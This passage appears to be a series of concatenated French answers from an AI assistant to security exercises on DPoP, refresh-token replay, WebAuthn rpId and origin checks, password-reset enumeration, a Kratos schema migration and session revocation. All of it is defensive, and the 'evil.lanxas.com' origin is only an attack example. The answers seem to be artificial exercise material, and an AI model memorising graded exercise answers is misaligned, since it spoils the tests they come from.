Sémantiquement, c'est exactement le scénario d'attaque que DPoP est conçu pour bloquer : un porteur qui détient le token mais **pas** la clé privée associée à `J1` présente une preuve signée par sa propre clé `J2`. La signature de la preuve peut être cryptographiquement valide pour `J2` et néanmoins l'authentification échoue, car la validité de signature et la liaison au token sont deux propriétés distinctes.
## Réserves sur les verdicts « conforme »
Ces deux verdicts sont conformes **sous les hypothèses de l'énoncé**, pas de façon absolue :
- `htm`/`htu` corrects suppose la comparaison à la requête réellement reçue, après normalisation de l'URI (schéma et hôte en minuscules, retrait de la query et du fragment). Derrière un reverse proxy, l'URL vue par l'application peut différer de l'URL publique, ce qui produit des faux échecs si `X-Forwarded-Proto` et `X-Forwarded-Host` ne sont pas pris en compte.
- `jti` neuf ne prouve pas l'absence de rejeu dans l'absolu : la garantie ne vaut que sur la fenêtre de rétention du cache et exige un contrôle de fraîcheur `iat` cohérent avec cette fenêtre. Un cache partiel, non partagé entre instances, dégrade cette propriété.
## Contrôle à ne pas omettre en production
L'ordre d'évaluation recommandé, pour éviter tout travail cryptographique inutile et toute fuite d'information : vérifier d'abord la structure et le type (`typ: dpop+jwt`), l'algorithme (liste blanche asymétrique, refus de `none` et des algorithmes symétriques), puis la signature avec le JWK d'en-tête, puis calculer le thumbprint RFC 7638 de ce JWK et le comparer à `cnf.jkt`, enfin `htm`, `htu`, `iat`, `jti`, et `ath` si présent. Le rejet doit être uniforme, sans révéler lequel des contrôles a échoué.## 1. Classification de l'incident
**Réutilisation de jeton d'actualisation révoqué (refresh token replay) sur une famille en rotation, soit une compromission confirmée du grant d'autorisation.**
Décomposition en termes de propriétés de sécurité :
| Dimension | Verdict | Justification |
|---|---|---|
| Fait établi | Deux détenteurs distincts ont possédé $R_1$ | $R_1$ a déjà été échangé (il a produit $R_2$), il est donc réputé consommé et invalide ; sa réapparition implique qu'une copie a survécu hors du client légitime |
| Nature | Vol / exfiltration de jeton, pas une simple erreur de synchronisation | Une course réseau ou un rejeu de requête produit un replay quasi immédiat et depuis la même origine ; ici le décalage est de deux générations ($R_3$ déjà émis) |
| Gravité | Élevée, incident de sécurité à traiter comme un compte compromis | Le jeton d'actualisation est un secret porteur à longue durée de vie ; sa détention permet de régénérer des jetons d'accès sans authentification de l'utilisateur |
| Preuve d'identité de l'attaquant | Non établie | Le replay prouve la duplication du secret, il ne prouve pas qui, du client légitime ou de l'attaquant, détient $R_3$ |
Point de rigueur sur la géolocalisation : **la région différente est un indice corroborant, pas la preuve**. VPN, CGNAT, itinérance mobile, sortie via un cloud ou un proxy d'entreprise produisent légitimement un changement de région. Le signal décisif et suffisant reste le rejeu d'un jeton déjà consommé ; la région ne fait qu'élever la priorité de traitement et la probabilité subjective de vol. Ne construisez pas la décision sur la seule géo-IP.
Point de rigueur sur l'attribution : il est tentant de conclure que, $R_1$ étant périmé de deux générations, le rejoueur est l'attaquant et le détenteur de $R_3$ est le client légitime. C'est l'hypothèse la plus vraisemblable, ce n'est pas une certitude : un attaquant ayant exfiltré $R_1$ puis effectué lui-même les échanges $R_1 \to R_2 \to R_3$ laisserait le client légitime en position de rejouer un ancien jeton. **La chaîne seule ne permet pas de désigner le porteur légitime.** La politique doit donc échouer en mode fermé.
## 2. Portée de révocation
**Révocation de toute la famille, c'est-à-dire du grant d'autorisation entier, pas du seul jeton rejoué.**
Périmètre exact à appliquer :
1. **Tous les refresh tokens de la lignée** : $R_1$, $R_2$, $R_3$ et toute branche dérivée. La révocation doit viser l'identifiant de grant (family_id / authorization_grant_id), pas les jetons un par un.
2. **Tous les jetons d'accès émis à partir de cette famille**, y compris ceux encore dans leur fenêtre de validité. Si vos jetons d'accès sont des JWT auto-portants non introspectés, ils resteront techniquement valides jusqu'à expiration : c'est votre fenêtre résiduelle de compromission. Réduisez-la par introspection obligatoire sur les scopes sensibles, ou par une liste de révocation consultée en périphérie.
3. **Le couple client/utilisateur pour ce client OAuth** : les autres grants du même utilisateur sur d'autres clients ne sont pas mécaniquement compromis, mais ils doivent être considérés comme suspects tant que le vecteur d'exfiltration est inconnu (vol de sauvegarde d'appareil, maliciel, extension de navigateur, journal fuité, XSS).
4. **Ne révoquez pas au-delà sans indice**, sauf si l'enquête établit un vecteur transversal (poste compromis, fuite de base de données). Une révocation globale du tenant est une opération destructive de disponibilité : elle exige un accord explicite et une justification.
Limites : la révocation de la famille garantit l'**intégrité future** du grant, elle ne restaure ni la **confidentialité** des données déjà lues, ni n'annule les actions déjà effectuées. Ces deux points relèvent de l'audit, pas de la révocation.
## 3. État de $R_3$
**$R_3$ doit être révoqué, immédiatement et sans exception.**
- $R_3$ appartient à la même famille que le jeton rejoué : par construction de la détection de réutilisation, la compromission d'un maillon compromet la lignée entière, puisque $R_3$ descend directement du secret dupliqué.
- Vous ne pouvez pas prouver que le détenteur actuel de $R_3$ est le client légitime (voir le point d'attribution ci-dessus). Conserver $R_3$ valide en pariant sur la bonne foi de son porteur, c'est offrir potentiellement à l'attaquant un accès persistant après l'alerte.
- Conséquence fonctionnelle assumée : la session légitime est cassée et l'utilisateur devra se réauthentifier. C'est le coût correct, l'arbitrage disponibilité contre intégrité se tranche ici en faveur de l'intégrité.
Anti-pattern à exclure : « on invalide $R_1$ et on laisse vivre $R_3$ ». Cela transforme la détection en simple journalisation et laisse le grant compromis actif.
Traitement du jeton rejoué lui-même : répondez `invalid_grant` (réponse d'erreur OAuth standard), sans divulguer au demandeur la raison exacte ni l'existence de $R_3$, afin de ne pas renseigner l'attaquant.
## 4. Action utilisateur
Séquence à imposer, dans l'ordre :
1. **Réauthentification complète** de l'utilisateur, avec **MFA obligatoire** (step-up), sur tous les appareils. Un nouveau grant est créé de zéro ; il ne doit jamais réutiliser l'ancien family_id.
2. **Notification à l'utilisateur** : message hors bande (email et, si disponible, canal secondaire) indiquant la date, l'heure, la région observée et l'appareil, avec la marche à suivre. Formulez-la sans certitude excessive : « une réutilisation anormale d'un jeton de session a été détectée », pas « votre compte a été piraté par tel acteur ».
3. **Vérification des changements sensibles** effectués pendant la fenêtre d'exposition, à faire relire par l'utilisateur : facteurs MFA ajoutés ou retirés, adresse de récupération, numéro de téléphone, règles de redirection de courrier, appareils enregistrés, clés d'API et mots de passe d'application créés, consentements OAuth accordés à des applications tierces, sessions actives résiduelles. **Ces artefacts survivent à une révocation de jetons** ; c'est le mécanisme de persistance classique.
4. **Rotation des secrets d'utilisateur** si l'authentification repose sur un mot de passe : changement du mot de passe, invalidation des cookies de session applicatifs, révocation des « jetons de confiance appareil » MFA.
5. **Contrôle des données et actions** : présenter à l'utilisateur le journal des accès et des opérations sensibles sur la période, pour qu'il signale ce qu'il ne reconnaît pas.
6. **Hygiène de l'appareil** : recommander la vérification des extensions de navigateur et de l'intégrité du poste, car un refresh token exfiltré vient le plus souvent du stockage client.
## 5. Durcissement à décider après l'incident
- **Contrainte par émetteur (sender-constrained tokens)** : DPoP ou mTLS. C'est le seul correctif structurel, il rend un jeton volé inutilisable sans la clé privée, là où la rotation ne fait que détecter après coup.
- **Rotation systématique à usage unique** avec family_id, index de génération et détection de rejeu, ce que vous semblez déjà avoir.
- **Fenêtre de grâce courte et bornée** (par exemple quelques secondes, un seul rejeu autorisé, même adresse et même empreinte client) pour absorber les pertes de réponse réseau sans créer de faille exploitable. À paramétrer explicitement, pas à improviser.
- **Jetons d'accès à durée très courte** et introspection sur les opérations sensibles, pour réduire la fenêtre résiduelle du point 2.
- **Alerte SOC** sur chaque détection de réutilisation, avec corrélation par utilisateur, par client et par plage réseau, afin de repérer une campagne et non un cas isolé.
- **Journalisation** : consignez family_id, génération rejouée, horodatage, empreinte de requête. **Ne journalisez jamais la valeur du jeton**, même tronquée ou hachée, un jeton porteur est un secret.
## 6. Squelette de traitement côté serveur d'autorisation
Pseudo-code de la branche de détection, à adapter à votre modèle de données. Il n'a pas été exécuté, il est fourni comme spécification d'implémentation.
```python
def redeem_refresh_token(presented_token, request_ctx):
rec = store.find_refresh_token(hash_token(presented_token)) # lookup par condensat
if rec is None:
raise OAuthError("invalid_grant") # inconnu ou purgé
if rec.status == "REDEEMED":
# Rejeu d'un jeton deja consomme -> compromission de la famille
store.revoke_grant_family(rec.family_id, reason="RT_REPLAY")
store.revoke_access_tokens_of_family(rec.family_id)
audit.log_security_event(
event="refresh_token_replay",
family_id=rec.family_id,
generation=rec.generation,
client_id=rec.client_id,
subject=rec.subject,
ip=request_ctx.ip, asn=request_ctx.asn, region=request_ctx.region,
ua_hash=request_ctx.ua_hash,
) # jamais la valeur du jeton
notify.user_security_alert(rec.subject, require_reauth=True, require_mfa=True)
raise OAuthError("invalid_grant") # message opaque
if rec.status == "REVOKED" or rec.expires_at <= now():
raise OAuthError("invalid_grant")
# Chemin nominal : consommation atomique puis emission de la generation suivante
with store.transaction():
if not store.mark_redeemed_if_active(rec.id): # CAS, anti-course
raise OAuthError("invalid_grant")
new_rt = store.issue_refresh_token(
family_id=rec.family_id, generation=rec.generation + 1
)
new_at = issue_access_token(rec.subject, rec.client_id, rec.scope)
return new_at, new_rt
```
Points critiques de cette implémentation : la consommation doit être **atomique** (compare-and-set ou `UPDATE ... WHERE status='ACTIVE' RETURNING`) sous peine de faux positifs sous concurrence ; les jetons sont stockés **hachés** ; la réponse d'erreur est **identique** dans tous les cas d'échec pour ne rien révéler.
## 7. Ce que je ne peux pas étayer avec mes sources hors ligne
- Mon encyclopédie locale confirme que le *Refresh Token* est un type d'autorisation OAuth et que OAuth 2.0 est normalisé par la RFC 6749, l'usage des jetons porteurs par la RFC 6750 (article Wikipédia EN « OAuth », /content/wikipedia_en/OAuth). Elle ne traite **pas** la rotation des refresh tokens ni la détection de réutilisation.
- La règle « révoquer toute la famille en cas de rejeu » et la description du mécanisme de détection par rotation proviennent, selon ma mémoire, de la RFC 6749 section 10.4 et de la *OAuth 2.0 Security Best Current Practice* du groupe de travail OAuth de l'IETF. **Je ne peux pas vérifier hors ligne le texte exact ni le numéro de RFC de cette BCP**, et ma mémoire de modèle peut être périmée. Traitez ces références comme à confirmer sur le Datatracker de l'IETF avant citation dans un document normatif ou un rapport d'audit.
- Les recommandations DPoP et mTLS relèvent du même corpus IETF, non vérifiable avec mes outils actuels.
- Aucune durée chiffrée n'est avancée ici comme norme : les valeurs de fenêtre de grâce et de durée de vie des jetons d'accès dépendent de votre modèle de menace et doivent être décidées, pas héritées d'un chiffre inventé.## Réponse directe
| Champ | Valeur |
|---|---|
| **rpId** | `lanxas.com` |
| **origin** | `https://evil.lanxas.com` |
| **Signature supposée valide** | **Oui** (hypothèse posée par l'énoncé : la signature cryptographique sur `authenticatorData ‖ SHA-256(clientDataJSON)` vérifie avec la clé publique du credential) |
| **Verdict** | **REJET** de l'assertion (échec de l'authentification) |
## Justification de chaque champ
**rpId = `lanxas.com`.** Le champ `rpIdHash` des `authenticatorData` est le SHA-256 de la chaîne rpId. L'énoncé indique qu'il correspond à `lanxas.com`. Vérification des empreintes, calculée localement :
| Domaine candidat | SHA-256 |
|---|---|
| `lanxas.com` | `cb73a887c4c5e7c8069295cdad458006b86a92135fc4367ef282772f565f28e0` |
| `auth.lanxas.com` | `47f34e0c98277e3eaf711a34f37dc15cd94fd153e99efe3628ea71816b496d3c` |
| `evil.lanxas.com` | `ff6a1e98cd6bb41e0e5d865454d6c42696f2a024d116f6fab06c6cd00b5c82d0` |
(empreintes calculées à l'instant dans le laboratoire local LANXAS, module `hashlib`)
Le point décisif : $\text{SHA-256}(\texttt{lanxas.com}) \neq \text{SHA-256}(\texttt{auth.lanxas.com})$, donc le `rpIdHash` présenté **ne peut pas** correspondre à un credential dont le périmètre est `auth.lanxas.com`.
**origin = `https://evil.lanxas.com`.** Cette valeur provient du `clientDataJSON`, renseigné par le client (navigateur), pas par l'authentificateur. Elle est couverte par la signature, donc non modifiable après coup sans invalider celle-ci, mais elle n'est **pas** pour autant conforme.
**Signature.** Une signature valide établit seulement deux choses : (1) intégrité des données signées, (2) possession de la clé privée associée au credential. Elle n'établit **ni** l'autorisation, **ni** la légitimité de l'origine. Confondre validité cryptographique et acceptabilité selon la politique est précisément l'erreur exploitée ici.
## Motifs de rejet (deux motifs indépendants, chacun suffisant)
1. **Violation de la politique d'origine.** La politique exige `origin` exactement égal à `https://auth.lanxas.com`. Or `https://evil.lanxas.com ≠ https://auth.lanxas.com`. Rejet immédiat, sans même examiner la suite.
2. **Incohérence `rpIdHash` / périmètre du credential.** Le credential est autorisé pour `auth.lanxas.com`, mais le `rpIdHash` engage `lanxas.com`. Les empreintes ci-dessus diffèrent : le RP ID présenté n'est pas celui attendu pour ce credential. Accepter cette assertion revient à élargir silencieusement le périmètre du credential du sous-domaine `auth` vers le domaine enregistrable parent, donc vers **tous** les sous-domaines, `evil` compris.
## Le piège à nommer explicitement
Sous les seules règles génériques de la spécification, `lanxas.com` est un suffixe de domaine enregistrable du domaine effectif de `https://evil.lanxas.com`, donc un rpId formellement admissible pour cette origine. C'est ce qui rend l'assertion trompeusement « bien formée ». La faille n'est pas cryptographique, elle est de **périmètre** : un rpId fixé au domaine parent transforme n'importe quel sous-domaine compromis en point d'usage légitime des credentials. La politique d'égalité stricte sur `origin` est exactement la contre-mesure qui bloque ce chemin.
À noter que la propriété anti-hameçonnage de WebAuthn repose sur le fait que « l'authentificateur ne propose que les credentials enregistrés pour le même site » (article WebAuthn, Wikipedia EN, `/content/wikipedia_en/WebAuthn`). Cette garantie est ici contournée par le choix d'un rpId trop large, ce qui montre qu'elle dépend entièrement du périmètre déclaré à l'enregistrement.
## Contrôles à exiger côté serveur (défense en profondeur)
Ordre de vérification recommandé, avec échec fermé à chaque étape :
1. `clientData.type == "webauthn.get"`.
2. `clientData.challenge` égal au challenge émis, à usage unique, non expiré, comparaison à temps constant.
3. `clientData.origin` **égal exactement** à `https://auth.lanxas.com`, comparaison littérale sur la chaîne, jamais par `endsWith` ni par expression régulière avec un point non échappé.
4. `authData.rpIdHash == SHA-256("auth.lanxas.com")`, comparaison octet par octet avec la valeur attendue **de la configuration serveur**, pas avec une valeur dérivée de la requête.
5. `credentialId` effectivement lié à l'utilisateur revendiqué (contrôle objet par objet, anti-IDOR).
6. Drapeaux : `UP` présent, `UV` présent si la politique l'exige.
7. `signCount` strictement croissant si l'authentificateur le maintient, sinon décision documentée.
8. Vérification de la signature en dernier, sur `authData ‖ SHA-256(clientDataJSON)`.
Le fait de placer la vérification de signature en dernier n'est pas cosmétique : cela évite d'écrire du code qui « valide » puis « filtre », schéma où un oubli de filtrage devient une authentification réussie.
## Limites et incertitudes
Les étapes de vérification ci-dessus et la règle du suffixe de domaine enregistrable correspondent à ma connaissance de la spécification W3C Web Authentication (§ vérification d'une assertion). L'article de l'encyclopédie locale consultée décrit le modèle général de WebAuthn et sa résistance au hameçonnage, mais **ne détaille pas** cette procédure de vérification pas à pas : je ne peux donc pas l'étayer par une citation locale précise, et je la signale comme restitution de ma connaissance du standard, à confronter au texte normatif avant toute mise en production. Par ailleurs, l'énoncé ne précise pas si le credential est de type découvrable ni quelle valeur d'`rpId` a été utilisée à l'enregistrement ; le verdict de rejet ne dépend pas de ces détails, puisque le motif 1 suffit à lui seul.**Canaux d’énumération** 1. **Code HTTP** : `404` pour une adresse inconnue contre `200` pour une adresse connue révèle directement l’existence du compte. (Données de la question) 2. **Temps de réponse** : `20 ms` contre `300 ms` permet une énumération statistique même si le contenu de la réponse est ensuite uniformisé. (Données de la question ; OWASP, Forgot Password Cheat Sheet, https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html) **Corrections** 1. Retourner pour tous les cas le même code HTTP et le même message générique, par exemple `200` avec « Si ce compte existe, un message de récupération sera envoyé ». (OWASP, Forgot Password Cheat Sheet, https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html) 2. Uniformiser le temps observable, idéalement en plaçant l’envoi dans une file asynchrone et en appliquant un temps minimal commun avec une légère gigue aléatoire, sans sortie anticipée lorsque le compte est absent. (OWASP, Forgot Password Cheat Sheet, https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)
## Diagnostic
Le point dur n'est pas le schéma, c'est la validation. Dans Kratos, chaque identité porte un `schema_id` et ses `traits` sont validés contre le JSON Schema correspondant **à chaque écriture** (création, mise à jour admin, flux self-service settings, et selon la configuration, à la connexion). Or, en JSON Schema, `required` n'est pas partiel : il vaut pour toute instance validée. Conséquence : si `department` devient obligatoire dans le schéma déjà associé aux identités existantes, les 40 % non conformes deviennent **non modifiables** (toute écriture échoue) et leurs flux settings cassent, sans qu'aucune lecture ni authentification n'ait besoin d'être touchée pour que l'incident survienne.
Précision d'honnêteté : je ne dispose pas ici d'une copie hors ligne de la documentation Ory Kratos (recherche encyclopédique locale : aucun article). Les noms de configuration que je cite (`identity.schemas` avec `id`/`url`, `identity.default_schema_id`, `PATCH /admin/identities/{id}`) sont donnés **de mémoire** et doivent être confirmés sur la version exacte que vous déployez. Le raisonnement de migration, lui, ne dépend pas de ces noms : il découle de la sémantique de `required` en JSON Schema.
La seule séquence compatible est donc un **expand / migrate / enforce / contract**, jamais une modification en place.
---
## Phase 1, Expand : introduire le trait, optionnel, sur un nouveau schéma versionné
Objectif : rendre le trait **écrivable** avant de le rendre obligatoire.
- Créer un schéma `v2` identique à `v1`, plus la propriété `department`, **absente de `required`**.
- Le déclarer à côté de `v1` dans la liste des schémas, **sans changer `default_schema_id`**.
- Déployer le code applicatif et l'UI pour accepter, afficher et transmettre `department` (tolérant à l'absence : pas de plantage si le trait est `undefined`).
- Migrer le `schema_id` des identités de `v1` vers `v2` : c'est une opération neutre puisque `v2` n'ajoute aucune contrainte. Sur les nouvelles identités, exiger `department` **côté applicatif** (formulaire d'inscription) pour arrêter immédiatement la production de nouvelles non conformités.
Propriété clé : cette phase est réversible et sans effet de bord, car ajouter une propriété optionnelle est une extension non contraignante du schéma.
```json
{
"$schema": "http://json-schema.org/draft-07/schema#",
"title": "identity-v2",
"type": "object",
"properties": {
"traits": {
"type": "object",
"properties": {
"email": { "type": "string", "format": "email" },
"department": { "type": "string", "minLength": 1, "maxLength": 64 }
},
"required": ["email"],
"additionalProperties": false
}
}
}
```
---
## Phase 2, Migrate (backfill) : ramener la non-conformité à zéro
Objectif : passer de 40 % de trous à 0, en mesurant en continu.
Trois canaux, à combiner car aucun ne couvre seul 100 % :
| Canal | Cible typique | Remarque |
|---|---|---|
| Backfill administratif depuis la source de vérité RH | le gros du volume | `PATCH` par lots, idempotent, journalisé, rejouable |
| Collecte progressive au prochain login/settings | comptes actifs sans donnée RH | écran de complément, non bloquant tant que la phase 3 n'est pas franchie |
| Traitement manuel des résidus | comptes orphelins, techniques, dormants | décision explicite : valeur `unassigned` documentée, ou désactivation |
Contraintes opérationnelles du backfill :
- **Idempotence** : ne pas écraser une valeur déjà renseignée ; n'écrire que si le trait est absent.
- **Concurrence** : les mises à jour d'identités doivent gérer les écritures concurrentes ; en cas d'échec, réessai avec relecture, jamais un remplacement aveugle de l'objet `traits` complet (risque de perte d'un trait modifié entre-temps par l'utilisateur).
- **Moindre privilège** : le job de backfill utilise un identifiant dédié, limité à l'API Admin identités, distinct du runtime applicatif ; le jeton n'apparaît jamais dans les logs ni dans une URL.
- **Point de restauration** : sauvegarde de la base d'identités **avant** le premier lot, avec restauration testée.
- **Aucune donnée personnelle en clair dans les logs** : journaliser des identifiants d'identité et des compteurs, pas les traits.
Critère de sortie, quantifié : soit $N$ le nombre total d'identités et $M$ celles dont `department` est absent. Le passage en phase 3 est autorisé seulement si
$$\frac{M}{N} = 0 \quad \text{soit} \quad M = 0$$
et non « $M/N$ petit ». Point de départ mesuré : $M/N = 0{,}40$.
Requête de contrôle (schéma interne Kratos, **à confirmer sur votre version**, la table des identités stockant les traits en JSONB) :
```sql
SELECT count(*) FILTER (WHERE traits ? 'department'
AND btrim(traits->>'department') <> '') AS conformes,
count(*) AS total
FROM identities;
```
Avertissement méthodologique : cette requête interroge un état interne non contractuel. La vérification faisant foi est celle de la phase 3 (validation réelle par Kratos), car seule la validation du schéma décide de l'acceptation d'une écriture.
---
## Phase 3, Enforce : rendre le trait obligatoire
Objectif : basculer la contrainte, une fois et seulement une fois $M = 0$ atteint.
- Publier un schéma `v3` identique à `v2`, avec `"required": ["email", "department"]`.
- **Valider en préproduction sur une copie anonymisée du jeu de données réel** : rejouer une écriture à blanc sur un échantillon large et vérifier zéro rejet de validation. C'est le test qui compte, un simple comptage SQL ne prouve pas la conformité au schéma (casse, valeur vide, type inattendu, `additionalProperties`).
- Basculer en **canari** : migrer d'abord le `schema_id` d'un petit lot d'identités vers `v3`, surveiller les erreurs de validation et les échecs de flux settings, puis élargir par vagues.
- Passer `default_schema_id` sur `v3` pour les nouvelles identités.
- Conserver `v2` actif pendant toute la bascule : les identités non encore migrées restent modifiables, ce qui préserve le chemin de correction.
Rollback : repasser le `schema_id` du lot concerné de `v3` à `v2`. C'est possible **précisément parce que `v2` reste déclaré** ; c'est la raison pour laquelle la phase 4 ne doit pas être fusionnée avec la phase 3.
Indicateurs à surveiller pendant la bascule : taux d'erreur de validation sur les écritures d'identité, taux d'échec des flux settings et login, latence des appels admin, volume de tickets support.
---
## Phase 4, Contract : retirer l'ancien chemin
Objectif : supprimer la dette, seulement après une période d'observation.
- Vérifier qu'aucune identité ne référence plus `v1` ni `v2`.
- Retirer `v1` et `v2` de la configuration, après une fenêtre de stabilité (durée à décider selon votre cycle de release ; je n'avance pas de chiffre).
- Supprimer du code les branches de tolérance (`department` absent), les valeurs de repli et le job de backfill.
- Ajouter un test de non-régression qui échoue si une identité sans `department` est acceptée, et un test qui échoue si un schéma introduit un `required` sans version associée.
- Conserver les sauvegardes de la phase 2 jusqu'à la fin de la fenêtre de rollback, puis les purger selon votre politique de rétention.
Attention : retirer un schéma encore référencé par une identité rend cette identité inexploitable. Le contrôle « zéro référence » est bloquant, pas indicatif.
---
## Récapitulatif
| Phase | Action | Contrainte sur `department` | Réversible |
|---|---|---|---|
| 1. Expand | schéma `v2`, trait ajouté | optionnel | oui, trivialement |
| 2. Migrate | backfill des 40 % | optionnel | oui (sauvegarde + idempotence) |
| 3. Enforce | schéma `v3`, bascule par lots | obligatoire | oui (retour à `v2`) |
| 4. Contract | retrait de `v1`/`v2` et du code de tolérance | obligatoire | non, point de non-retour |
Décompte vérifié : 4 phases décrites, 4 lignes dans le tableau.
---
## Risques et limites
- **Anti-patron principal** : éditer le schéma en place pour ajouter `required`. Cela transforme 40 % des identités en enregistrements figés, et l'incident se manifeste de façon différée, à la première mise à jour ou au premier passage dans les settings, ce qui rend le diagnostic difficile.
- **Sauter la phase 2** en comptant sur une collecte au login : les comptes dormants ne se connectent pas, donc $M$ ne tend pas vers 0 ; la phase 3 casserait ces comptes.
- **Fusionner 3 et 4** : supprime le chemin de rollback au moment précis où il devient nécessaire.
- **Faux sentiment de conformité** : un comptage SQL à 100 % ne garantit pas la validation par le schéma (valeurs vides, types, `additionalProperties`, `minLength`). Seul un rejeu de validation le démontre.
- **Aucune de ces phases n'est « sans risque »** : risques résiduels de perte d'écriture concurrente pendant le backfill, d'indisponibilité partielle des flux settings pendant la bascule, et de qualité de la donnée RH injectée (une valeur fausse est plus difficile à détecter qu'une valeur absente).
- **À vérifier chez vous** : noms exacts des clés de configuration, disponibilité du multi-schéma et du changement de `schema_id` dans votre version de Kratos, et sémantique exacte de la validation lors des flux de connexion. Je ne peux pas confirmer ces points hors ligne.## 1. Diagnostic : le modèle actuellement implémenté
**Modèle de fait** : validation locale autonome avec état de révocation répliqué de façon asynchrone. Chaque région est un point de décision (PDP) qui tranche hors ligne, à partir d'un jeton auto-porté (signature vérifiable localement) et d'une copie locale de la liste de révocation. La propagation R1 → R2 prend environ 60 s.
Dans la terminologie du théorème CAP, il s'agit d'un arbitrage **AP** : disponibilité et tolérance au partitionnement privilégiées, avec un modèle de cohérence relâché de type cohérence à terme (source : article « Théorème CAP », encyclopédie locale, qui énonce l'impossibilité de garantir simultanément cohérence, disponibilité et tolérance au partitionnement, avec la preuve formelle de Gilbert et Lynch, *ACM SIGACT News* 33(2), 2002, telle que référencée dans cet article).
Propriété réellement offerte, formulée honnêtement :
$$\forall a > r + \Delta \Rightarrow \text{deny}, \qquad \Delta \approx 60\ \text{s}$$
où $r$ est l'instant de la révocation acceptée à R1 et $a$ l'instant d'une décision d'autorisation à R2. C'est une propriété de **vivacité bornée** (« la révocation finit par prendre effet »), pas une propriété de **sûreté**.
## 2. Violation caractérisée
L'exigence « révocation forte immédiate » est une propriété de sûreté linéarisable :
$$\forall a > r \Rightarrow \text{deny}$$
La violation est donc structurelle, pas un défaut de réglage : il n'existe aucun ordre total linéarisable entre l'événement `REVOKE(s)` à R1 et l'événement `ACCEPT(s)` à R2. R2 rend des décisions qui, dans l'ordre réel du temps, sont postérieures à la révocation mais fondées sur un état antérieur.
**Fenêtre d'exposition** : $N = \lambda \cdot \Delta$, avec $\lambda$ le débit de requêtes de la session révoquée. Les valeurs suivantes sont des **illustrations paramétriques**, calculées à partir d'hypothèses de trafic que vous n'avez pas fournies, et non une mesure de votre système (calcul effectué avec l'outil de calcul local) :
| $\lambda$ (req/s) | Requêtes autorisées à tort pendant 60 s |
|---|---|
| 50 | 3 000 |
| 500 | 30 000 |
| 5 000 | 300 000 |
**Deux impossibilités à nommer avant de concevoir.**
**(a) Impossibilité logique.** « Révocation forte immédiate » + « validation purement locale disponible même en cas de partition réseau » est une conjonction contradictoire, par CAP (source : article « Théorème CAP », encyclopédie locale). Il faut basculer vers un arbitrage **CP** sur le sous-domaine « état de révocation » : en cas de partition, R2 doit dégrader ou refuser, jamais accepter par défaut.
**(b) Impossibilité physique.** « Immédiat » au sens strict n'est pas atteignable. La borne inférieure est la propagation du signal :
$$t_{\min} = \frac{d \cdot n}{c}$$
Avec $n \approx 1,47$ pour une fibre silice et $c = 3,00\times 10^8$ m/s, soit $v \approx 2,04\times 10^8$ m/s (calcul local ; l'indice $n$ est une valeur typique d'ordre de grandeur, à remplacer par la caractéristique réelle de vos liens) :
| Distance | Aller simple | Aller-retour |
|---|---|---|
| 1 000 km | 4,9 ms | 9,8 ms |
| 3 000 km | 14,7 ms | 29,4 ms |
| 6 000 km | 29,4 ms | 58,8 ms |
| 9 000 km | 44,1 ms | 88,2 ms |
Ce sont des **planchers théoriques**. En production, le routage réel, la mise en file, TLS et le traitement applicatif multiplient couramment ces valeurs par un facteur de 2 à 3 : c'est une estimation d'ingénierie de ma part, non une mesure.
**Conséquence à faire acter par le métier** : l'exigence doit être reformulée en une garantie vérifiable, par exemple *« lorsque l'appel de révocation retourne un succès, aucune région n'accepte plus la session »*, ou *« fenêtre d'exposition bornée par $\delta$ avec $\delta \leq 1$ s, et jamais silencieusement dépassée »*. Sans cette reformulation, l'exigence est insatisfaisable et tout audit la déclarera en échec.
## 3. Architecture requise
### 3.1 Décision recommandée : registre de révocation en consensus + baux courts + fail closed
Trois mécanismes combinés, chacun couvrant une faiblesse des autres.
**Mécanisme 1 : registre de révocation linéarisable.** L'état de révocation quitte la réplication asynchrone et passe dans un registre répliqué par consensus (famille Raft ou Paxos, ou une base distribuée offrant des lectures linéarisables), avec un quorum d'écriture couvrant les deux régions. Une révocation n'est **committée** que lorsque le quorum l'a acceptée. Modélisez la révocation non comme une ligne dans une liste, mais comme un **compteur monotone d'époque** par sujet :
$$\text{accept}(s) \iff \text{epoch}(s_{\text{token}}) \geq \text{epoch}_{\text{registre}}(\text{sujet}(s))$$
L'incrément d'époque révoque d'un coup toutes les sessions antérieures du sujet, ce qui évite la croissance non bornée d'une liste et rend l'opération idempotente.
**Mécanisme 2 : baux (leases) bornés côté région.** R2 ne valide localement que si elle détient un bail non expiré, de durée $\delta$, obtenu auprès du quorum. À l'expiration, sans renouvellement, R2 **cesse d'accepter** (fail closed). La garantie devient :
$$\forall a > r + \delta \Rightarrow \text{deny}, \qquad \delta \ \text{configurable à } 1\ \text{s}$$
La fenêtre passe ainsi de 60 s à $\delta$ + dérive d'horloge, sans exiger un aller-retour inter-région sur le chemin critique de chaque requête. **Hypothèse de sécurité explicite** : la validité du bail dépend d'une borne sur la dérive d'horloge entre régions. Si les horloges ne sont pas synchronisées de façon fiable et authentifiée, la borne $\delta$ n'est pas garantie. Il faut donc surveiller la dérive et provisionner une marge $\varepsilon$, en utilisant $\delta_{\text{effectif}} = \delta - \varepsilon$.
**Mécanisme 3 : invalidation push, plus filtre pour les cas sensibles.** À la révocation, le registre pousse activement l'invalidation vers les régions, sans attendre l'expiration du bail : chemin rapide de quelques dizaines de millisecondes en fonctionnement normal, le bail servant de filet de sécurité en cas de perte du push. Pour les opérations à fort impact (paiement, changement de droits, export de données), imposez en plus une **vérification synchrone** auprès du quorum, ce qui donne une linéarisabilité effective là où elle a le plus de valeur.
Un filtre de Bloom local sur les sujets récemment révoqués permet d'économiser des allers-retours : il produit des faux positifs mais **jamais de faux négatifs**, donc l'orientation sûre est « peut-être révoqué → vérification synchrone obligatoire ». Un faux positif coûte de la latence, jamais de la sûreté.
### 3.2 Sémantique de l'API de révocation
C'est le point le plus souvent manqué. `POST /revoke` ne doit retourner un succès qu'après commit du quorum **et** accusé de réception de toutes les régions actives, ou expiration garantie de leurs baux. Trois issues, toutes explicites :
- `200 revoked_globally` : plus aucune région n'accepte. C'est la garantie forte utilisable en audit et en communication client.
- `202 revoked_pending` : committé au quorum, une région n'a pas encore accusé réception ; l'appelant reçoit la borne temporelle résiduelle $\delta$.
- `409 / 503` : la révocation ne peut pas être garantie ; l'opérateur doit décider entre isoler la région injoignable (elle basculera en fail closed à l'expiration du bail) ou accepter la borne $\delta$.
Ne retournez jamais un succès nu quand la propriété n'est pas établie : c'est la source première des écarts entre exigence affichée et réalité.
